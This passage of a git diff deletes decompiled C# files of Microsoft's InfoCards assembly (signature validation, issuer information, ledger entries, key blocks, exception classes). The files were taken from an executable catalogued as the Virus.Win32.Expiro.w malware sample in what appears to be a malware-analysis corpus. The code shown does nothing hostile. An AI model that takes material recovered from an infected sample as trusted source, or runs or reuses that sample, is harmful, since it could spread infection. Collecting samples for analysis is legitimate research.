InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - XmlNodeList childNodes = signedXml.KeyInfo.GetXml().ChildNodes; - KeyInfoX509Data keyInfoX509Data = new KeyInfoX509Data(); - foreach (XmlNode element in childNodes) - { - if ("http://www.w3.org/2000/09/xmldsig#" == element.NamespaceURI && "X509Data" == element.Name) - { - keyInfoX509Data.LoadXml((XmlElement) element); - break; - } - } - ArrayList certificates = keyInfoX509Data.Certificates; - this.m_issuer = certificates != null && certificates.Count > 0 ? (X509Certificate2) certificates[0] : throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("NoCertificateFoundInSignature"))); - this.m_additionalIssuerCerts = new X509Certificate2Collection(); - for (int index = 1; index < certificates.Count; ++index) - this.m_additionalIssuerCerts.Add((X509Certificate2) certificates[index]); - try - { - InfoCardX509Validator.ValidateChainOrPeer(this.m_issuer, this.m_additionalIssuerCerts, out this.m_isIssuerChainTrusted); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(ex.Message)); - } - if (this.m_checkSignature && !signedXml.CheckSignature(this.m_issuer, true)) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs deleted file mode 100644 index 4f1d7122..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs +++ /dev/null @@ -1,98 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfocardExtendedInformationCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class InfocardExtendedInformationCollection : List - { - private const int InvalidRow = 0; - private Uri m_infoCardId; - private int m_rowId; - - public InfocardExtendedInformationCollection(Uri infoCardId) => this.m_infoCardId = !((Uri) null == infoCardId) ? infoCardId : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (infoCardId)); - - public void Get(StoreConnection con) - { - DataRow dataRow = con != null ? this.TryGetRow(con, QueryDetails.FullRow) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (dataRow == null) - return; - this.Deserialize((Stream) new MemoryStream(dataRow.GetDataField())); - this.m_rowId = dataRow.LocalId; - } - - public void Serialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.Count); - for (int index = 0; index < this.Count; ++index) - this[index].Serialize(writer); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = new BinaryReader(stream, Encoding.Unicode); - int num = reader.ReadInt32(); - for (int index = 0; index < num; ++index) - { - InfocardExtendedInformationEntry informationEntry = new InfocardExtendedInformationEntry(); - informationEntry.Deserialize(reader); - this.Add(informationEntry); - } - } - - public void Save(StoreConnection con) - { - DataRow row = con != null ? this.TryGetRow(con, QueryDetails.FullHeader) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 4; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public string GetIssuerInformationElement() - { - for (int index = 0; index < this.Count; ++index) - { - XmlReader reader = InfoCardSchemas.CreateReader(this[index].GetXml()); - reader.Read(); - if (reader.IsStartElement("IssuerInformation", "http://schemas.xmlsoap.org/ws/2007/01/identity")) - { - reader.Close(); - return this[index].GetXml(); - } - reader.Close(); - } - return string.Empty; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "null infocard id"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 4 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs deleted file mode 100644 index df8321f9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfocardExtendedInformationEntry -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InfocardExtendedInformationEntry : IXmlSerializable - { - private string m_xmlElement; - - public void Serialize(BinaryWriter writer) => Utility.SerializeString(writer, this.m_xmlElement); - - public void Deserialize(BinaryReader reader) => this.m_xmlElement = Utility.DeserializeString(reader); - - public string GetXml() => this.m_xmlElement; - - public System.Xml.Schema.XmlSchema GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - if (writer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (writer)); - XmlReader reader = InfoCardSchemas.CreateReader(this.m_xmlElement); - writer.WriteNode(reader, false); - } - - public void ReadXml(XmlReader reader) - { - XmlReader xmlReader = reader.IsStartElement() ? reader.ReadSubtree() : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - xmlReader.Read(); - this.m_xmlElement = xmlReader.ReadOuterXml(); - xmlReader.Close(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IntermediatePolicyValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IntermediatePolicyValidator.cs deleted file mode 100644 index db4295bd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IntermediatePolicyValidator.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IntermediatePolicyValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal class IntermediatePolicyValidator : PolicyValidator - { - public IntermediatePolicyValidator(InfoCardPolicy policy) - : base(policy) - { - } - - public override void Validate() => this.ValidateAppliesTo(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InvalidCardException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InvalidCardException.cs deleted file mode 100644 index 15fd8f31..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InvalidCardException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InvalidCardException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InvalidCardException : InfoCardBaseException - { - private const int HRESULT = -1073413881; - - public InvalidCardException() - : base(-1073413881) - { - } - - public InvalidCardException(string message) - : base(-1073413881, message) - { - } - - public InvalidCardException(string message, Exception inner) - : base(-1073413881, message, inner) - { - } - - protected InvalidCardException(SerializationInfo si, StreamingContext sc) - : base(-1073413881, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs deleted file mode 100644 index a2a65a75..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InvalidStoreProtectionKeyException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InvalidStoreProtectionKeyException : InfoCardBaseException - { - private const int HRESULT = -1073413880; - - public InvalidStoreProtectionKeyException() - : base(-1073413880) - { - } - - public InvalidStoreProtectionKeyException(string message) - : base(-1073413880, message) - { - } - - public InvalidStoreProtectionKeyException(string message, Exception inner) - : base(-1073413880, message, inner) - { - } - - protected InvalidStoreProtectionKeyException(SerializationInfo si, StreamingContext sc) - : base(-1073413880, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IssuerInformation.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IssuerInformation.cs deleted file mode 100644 index 575d0a63..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IssuerInformation.cs +++ /dev/null @@ -1,72 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IssuerInformation -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class IssuerInformation - { - private List m_informationEntries; - - public IssuerInformation() => this.m_informationEntries = new List(); - - public void Serialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.m_informationEntries.Count); - if (this.m_informationEntries.Count <= 0) - return; - foreach (IssuerInformationEntry informationEntry in this.m_informationEntries) - { - Utility.SerializeString(writer, informationEntry.Name); - Utility.SerializeString(writer, informationEntry.Value); - } - } - - public void ReadIssuerInformation(XmlReader reader) - { - if (!reader.IsStartElement(nameof (IssuerInformation), "http://schemas.xmlsoap.org/ws/2007/01/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - while (reader.Read()) - { - if ("IssuerInformationEntry" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - this.ReadIssuerInformationEntry(reader); - if (nameof (IssuerInformation) == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && XmlNodeType.EndElement == reader.NodeType) - break; - } - } - - public void ReadIssuerInformationEntry(XmlReader reader) - { - if (!reader.IsStartElement("IssuerInformationEntry", "http://schemas.xmlsoap.org/ws/2007/01/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - string name = string.Empty; - string str = string.Empty; - while (reader.Read()) - { - if ("IssuerInformationEntry" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && XmlNodeType.EndElement == reader.NodeType) - { - this.m_informationEntries.Add(new IssuerInformationEntry(name, str)); - break; - } - if ("EntryName" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - { - name = reader.ReadString(); - if (string.IsNullOrEmpty(name)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException()); - } - if ("EntryValue" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - str = reader.ReadString(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IssuerInformationEntry.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IssuerInformationEntry.cs deleted file mode 100644 index daf23ca0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IssuerInformationEntry.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IssuerInformationEntry -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal class IssuerInformationEntry - { - private string entryName; - private string entryValue; - - public string Name => this.entryName; - - public string Value => this.entryValue; - - public IssuerInformationEntry(string name, string value) - { - this.entryName = name; - this.entryValue = value; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs deleted file mode 100644 index 1cd8a5a4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.KerberosTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class KerberosTokenFactoryCredential : TokenFactoryCredential - { - public KerberosTokenFactoryCredential() - : base(TokenFactoryCredentialType.KerberosCredential) - { - } - - protected override void DeserializeData(BinaryReader reader) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/KeyBlock.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/KeyBlock.cs deleted file mode 100644 index bd7d0e3b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/KeyBlock.cs +++ /dev/null @@ -1,47 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.KeyBlock -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 592)] - internal struct KeyBlock - { - public const int StructSize = 592; - public const int EncryptedKeyBlockSize = 512; - public const int Pkcs5IVBlockSize = 32; - public const int SaltBlockSize = 32; - public const int IVOffset = 0; - public const int SaltOffset = 32; - public const int IterationCountOffset = 64; - public const int EncryptedKeySizeOffset = 68; - public const int EncryptedKeyOffset = 72; - public const int ReservedPaddingOffset = 584; - public const int KeyTypeOffset = 588; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] - [FieldOffset(0)] - public byte IV; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] - [FieldOffset(32)] - public byte Salt; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(64)] - public int IterationCount; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(68)] - public int EncryptedKeySize; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] - [FieldOffset(72)] - public byte EncryptedKey; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(584)] - private int ReservedPadding; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(588)] - public int KeyType; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/KeyGenRestartCodes.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/KeyGenRestartCodes.cs deleted file mode 100644 index 814f0a4c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/KeyGenRestartCodes.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.KeyGenRestartCodes -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal enum KeyGenRestartCodes - { - X931RestartNone, - X931RestartDTooSmall, - X931RestartNonTrivialGcd, - X931RestartPQOverflow, - X931RestartPQ12OverFlow, - X931RestartXpXqClose, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LedgerEntry.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LedgerEntry.cs deleted file mode 100644 index 4e3ce508..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LedgerEntry.cs +++ /dev/null @@ -1,211 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LedgerEntry -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class LedgerEntry - { - private const int InvalidRow = 0; - private const byte Version = 1; - private const byte m_marker = 29; - private bool m_isDirty; - private DateTime m_disclosureDate = DateTime.MinValue; - private string m_recipientId; - private Recipient m_recipient; - private byte[] m_subjectKey; - private string[] m_disclosedClaims; - private Uri m_infoCardId; - private string m_immediateRecipientOrgId; - private int m_rowId; - - public LedgerEntry(Stream stream, StoreConnection connection) - { - InfoCardTrace.Assert(null != stream, " Null input stream"); - InfoCardTrace.Assert(null != connection, "Null storeconnection"); - this.m_isDirty = false; - this.Deserialize(stream); - DataRow singleRow = connection.GetSingleRow(new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - InfoCardTrace.Assert(null != singleRow, "Recipient should always exist in store before a ledger entry is created "); - if (singleRow != null) - this.m_recipient = new Recipient((Stream) new MemoryStream(singleRow.GetDataField())); - this.ThrowIfNotComplete(); - } - - public static LedgerEntry NewLedgerEntry( - Uri infoCardId, - Recipient recipient, - byte[] masterKey, - string immediateTokenRecipientOrganizationIdentifier) - { - return new LedgerEntry(infoCardId, recipient, masterKey, immediateTokenRecipientOrganizationIdentifier); - } - - public LedgerEntry( - Uri infoCardId, - Recipient recipient, - byte[] masterKey, - string immediateTokenRecipientOrganizationIdentifier) - { - InfoCardTrace.Assert(null != recipient, "Null recipient"); - InfoCardTrace.Assert((Uri) null != infoCardId, "Null infocard ID"); - this.m_isDirty = true; - this.m_infoCardId = infoCardId; - this.m_disclosureDate = DateTime.Now; - this.m_recipient = recipient; - this.m_recipientId = recipient.RecipientId; - this.m_immediateRecipientOrgId = immediateTokenRecipientOrganizationIdentifier; - this.m_subjectKey = RsaKeyGen.CreateRsaKeyPairX931(masterKey, Convert.FromBase64String(immediateTokenRecipientOrganizationIdentifier)); - this.ThrowIfNotComplete(); - } - - public bool CheckAndUpdateSubjectKey(string immediateTokenRecipientOrgId, byte[] masterKey) - { - if (!(this.m_immediateRecipientOrgId != immediateTokenRecipientOrgId)) - return false; - this.m_immediateRecipientOrgId = immediateTokenRecipientOrgId; - this.m_subjectKey = RsaKeyGen.CreateRsaKeyPairX931(masterKey, Convert.FromBase64String(immediateTokenRecipientOrgId)); - return true; - } - - public bool IsDirty => this.m_isDirty; - - public DateTime DisclosureDate - { - set - { - this.m_disclosureDate = value; - this.m_isDirty = true; - } - } - - public byte[] SubjectKey - { - get - { - InfoCardTrace.Assert(!Utility.ArrayIsNullOrEmpty((Array) this.m_subjectKey), "SubjectKey not populated!"); - return this.m_subjectKey; - } - } - - public string[] DisclosedClaims - { - get => this.m_disclosedClaims; - set - { - this.m_disclosedClaims = value; - this.m_isDirty = true; - } - } - - public Recipient Recipient => this.m_recipient; - - public Uri InfoCardId => this.m_infoCardId; - - public void ThrowIfNotComplete() - { - if (this.m_immediateRecipientOrgId == null || this.m_recipientId == null || Utility.ArrayIsNullOrEmpty((Array) this.m_subjectKey) || !((Uri) null != this.m_infoCardId) || !(DateTime.MinValue != this.m_disclosureDate)) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Serialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((byte) 1); - writer.Write(this.m_disclosureDate.ToFileTimeUtc()); - Utility.SerializeString(writer, this.m_recipientId); - Utility.SerializeString(writer, this.m_immediateRecipientOrgId); - Utility.SerializeBytes(writer, this.m_subjectKey); - Utility.SerializeUri(writer, this.m_infoCardId); - writer.Write(this.m_disclosedClaims == null ? 0 : this.m_disclosedClaims.Length); - if (this.m_disclosedClaims != null) - { - foreach (string disclosedClaim in this.m_disclosedClaims) - Utility.SerializeString(writer, disclosedClaim); - } - writer.Write((byte) 29); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != reader.ReadByte()) - InfoCardTrace.Assert(false, "version mismatch deserializing ledger"); - this.m_disclosureDate = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_recipientId = Utility.DeserializeString(reader); - this.m_immediateRecipientOrgId = Utility.DeserializeString(reader); - this.m_subjectKey = reader.ReadBytes(reader.ReadInt32()); - this.m_infoCardId = Utility.DeserializeUri(reader); - int length = reader.ReadInt32(); - if (length > 0) - { - this.m_disclosedClaims = new string[length]; - for (int index = 0; index < length; ++index) - this.m_disclosedClaims[index] = Utility.DeserializeString(reader); - } - if ((byte) 29 != reader.ReadByte()) - InfoCardTrace.Assert(false, "Invalid stream detected deserializing ledger"); - this.ThrowIfNotComplete(); - this.m_isDirty = false; - } - - public void Save(StoreConnection con) - { - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - if (row == null) - { - row = new DataRow(); - row.ObjectType = -1; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - row.SetIndexValue("ix_name", (object) this.m_recipientId); - MemoryStream output = new MemoryStream(); - this.Serialize(new BinaryWriter((Stream) output, Encoding.Unicode)); - row.SetDataField(output.ToArray()); - con.GetSingleRow(QueryDetails.FullHeader, new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - if (row != null) - con.Save(row); - else - InfoCardTrace.Assert(false, "Currupt store - no recipient found for ledger"); - this.m_rowId = row.LocalId; - this.m_isDirty = false; - } - - public override string ToString() => base.ToString(); - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "populate infocard before retrieving ledger"); - return con.GetSingleRow(QueryDetails.FullHeader, new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LedgerEntryCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LedgerEntryCollection.cs deleted file mode 100644 index 55f597d5..00000000 --- 